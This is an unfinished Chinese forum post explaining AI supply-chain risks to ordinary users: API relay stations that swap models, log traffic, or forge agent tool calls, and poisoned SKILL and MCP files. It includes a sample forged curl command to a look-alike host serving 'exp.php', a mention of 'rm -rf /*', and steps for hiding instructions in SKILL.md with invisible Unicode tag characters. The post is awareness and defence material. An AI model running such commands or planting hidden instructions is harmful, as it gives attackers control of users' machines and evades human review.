原本的计划是全面的科普一下普通人会遇到的一些AI安全问题，还包括提示词注入，RAG投毒等。但是最近实在感觉精疲力竭，没有什么精力去研究了，于是产生了这篇半途而废版，如果有看完的佬友应该能发现从SKILL那里就已经是不想写了。就放搞七捻三了。就当一个小科普吧，大家当个故事看
引言
随着大模型技术的快速发展，与之相关的技术生态也在不断壮大。MCP、RAG、Skill 这些概念越来越频繁地出现在我们的视野中，甚至逐渐变得日常。如今，不止是程序员，几乎所有接触互联网的人，都开始慢慢使用豆包、元宝这类 ChatBot。前段时间 OpenClaw（龙虾）的爆火，掀起了一股“养虾潮”，也让“Agent”这个词走进了更多人的认知。现在，Codex、Claude Code 等工具几乎成为一线网络相关从业人员的标配，覆盖了短视频从业者、金融从业者，甚至老师和普通学生。然而，随着 Agent 的普及，AI 供应链的安全问题也必须进入我们的视野——因为这关乎到我们每一个人的安全。
本文将围绕着我们普通人将会接触到的一些ai供应链的安全问题所展开。
一、AI中转站安全
AI中转站可能是普通人使用AI最先接触到的东西。
发生原因
大家都知道ai好用，但是随着我们对ai的依赖的深化，token的消耗也在呈指数级上升（特别是国外模型）,所以此时对于AI的使用发生了这几个问题：
- token费用难以承受，日常成本正在提高
- 对于海外模型还存在网络问题，开发、日常体验的感受大打折扣
- 账号存在一定的封号问题
基于以上的问题，我们在ai时代出现了一种新的商业组织——中转站
中转站的出现为我们提供了很多的便利：价格低、国内直连所以速度快，稳定。但是与此同时，它的背后也藏着我们看不到的风险。
中转站为什么会有风险，总体来说就是由于中转站处于用户和上游API之间的中间桥段，我们和AI公司之间所有的通信都要经过它，所以这之间的一切，理论上他都拥有绝对控制权。
核心危险汇总
中转站的危险主要有以下方面：数据泄露、模型造假、命令执行（工具调用伪造）
模型造假
这是我们最先会想到的，大部分人可能都有这种担心。很遗憾，关于模型的真假，确实只能凭中转站的良心了。
因为实现方法太简单了。
# 用户请求中的 model 字段
{"model": "claude-opus-4.7", "messages": [...]}
# 中转站转发时替换为
{"model": "deepseek-v4-flash", "messages": [...]}
中转站只要在这个不起眼的model字段做一个小小的改动，你以为的opus4.7实际请求的就是deepseek了。中间相差的价格各位都应该清楚。
这对于非重度使用的人来说几乎无法发现，甚至经常使用的人可能说：”opus的风格这么独特，换成deepseek我怎么可能看不出来“。现在大家应该都听过skill吧，加上前任.skill它就能模仿你前任的语气，那如果给deepseek加上claude.skill呢？
数据泄露
中转站处于通信的中心节点，可以无条件看到并记录所有双向交互数据：
（图片来自【AI供应链威胁】API 中转站投毒的攻击链深入分析）
可以看到，在我们使用AI的过程中，所有的请求和响应中转站都是可以无条件查看的，应该所有流量都要经过它，过程中中转站利用脚本监控日志的方式可以轻松实现任意信息的转存，甚至修改。
这些情况我们作为用户是完全没有办法察觉的。
造成的后果：
- 敏感资产暴露，
.env文件、项目账号密码 等明文暴露。 - 长期使用导致画像暴露，攻击者通过长期收集信息，完善整个项目流程，方便后续对业务进行白盒攻击
实际演示：
命令执行（工具调用伪造）
这是最危险，危害最大的攻击。
事想一下你在你的服务器上部署了claude code，并且调用了中转站的api，你让它去做其他合法请求请求的过程中：
curl -i -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-H "Accept: text/html,application/xhtml+xml" \
-H "Accept-Language: zh-CN,zh;q=0.9" \
http://baidu.com
# 被换成了
curl -i -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-H "Accept: text/html,application/xhtml+xml" \
-H "Accept-Language: zh-CN,zh;q=0.9" \
http://baidv.com/exp.php
如此长的命令，你真的会发现吗，此时你点击了“yes”，也就意味着你的服务器已经被植入了后门。
更别说你让他执行一些删除文件的操作时给你执行rm -rf /*了。
他造成的后果：
-
任意命令执行： Agent 通常具备本地系统或开发环境的读写权限。在自动执行、弱确认或用户误确认的场景下，可能导致本地命令执行。
-
越权与长期控制： 如果伪造的指令包含下载恶意脚本或建立外部网络连接，这种行为风险将直接演变为系统被远控（GetShell）或植入长期后门，导致机器沦为肉鸡。
二、SKILL投毒
大家平时都会使用来自各种来源的skill提高自己的效率，但是其实skill也会存在投毒的情况。甚至可以让你看不到
这里举一个简单的例子：
你可能说你看一下SKILL.md就看到了。
你完全发现不了。因为这涉及到一种Unicode隐藏字符的技术。大概的原理就是使用了一些在大部分编辑器下是不可见字符的Unicode编码。导致我们肉眼是看不到的，但是LLM是可以看见的：
关于更多技术原理就不多说了，本文仅作为科普。感兴趣可以自行查看【AI供应链威胁】Unicode隐藏指令Skills后门的实践与思考
我这个案例大家复现不一定成果，因为我用了opus4.6（且不一定保真），而且做了很多实验才偶尔成功。但是这里想说的是，我这个投毒是非常明显，赤裸裸的写出来了命令执行。那如果稍加修饰，引入更多提示词注入技术，还有利用远程服务器，以curl的形式命令执行，并且放在一个非常复杂的skill文件中，那么隐蔽性危害就可想而知了
这里有一个网站给大家，可以自查一下，我也是用它制作的SKILL。
embracethered.com
ASCII Smuggler - Crafting Invisible Text and Decoding Hidden Secret - Embrace...
Convert ASCII text into invisible Unicode encodings using Unicode Tags, Variant Selectors, and Sneaky Bits, and decode hidden messages.
效果：
把文本张贴进去就会自动检测是否有隐藏unicode字符，点击
Encode & Copy就会编码并自动复制，然后张贴进SKILL.md就好了。
当然这是一种比较少见的绕过检测的技术，大部分就是直接明文写入，只是隐藏的比较好，大家多注意野生SKILL不要随便用即可。
三、MCP投毒
其实mcp和skill同理，会隐藏一些提示词，这里就放个案例吧
9 个帖子 - 5 位参与者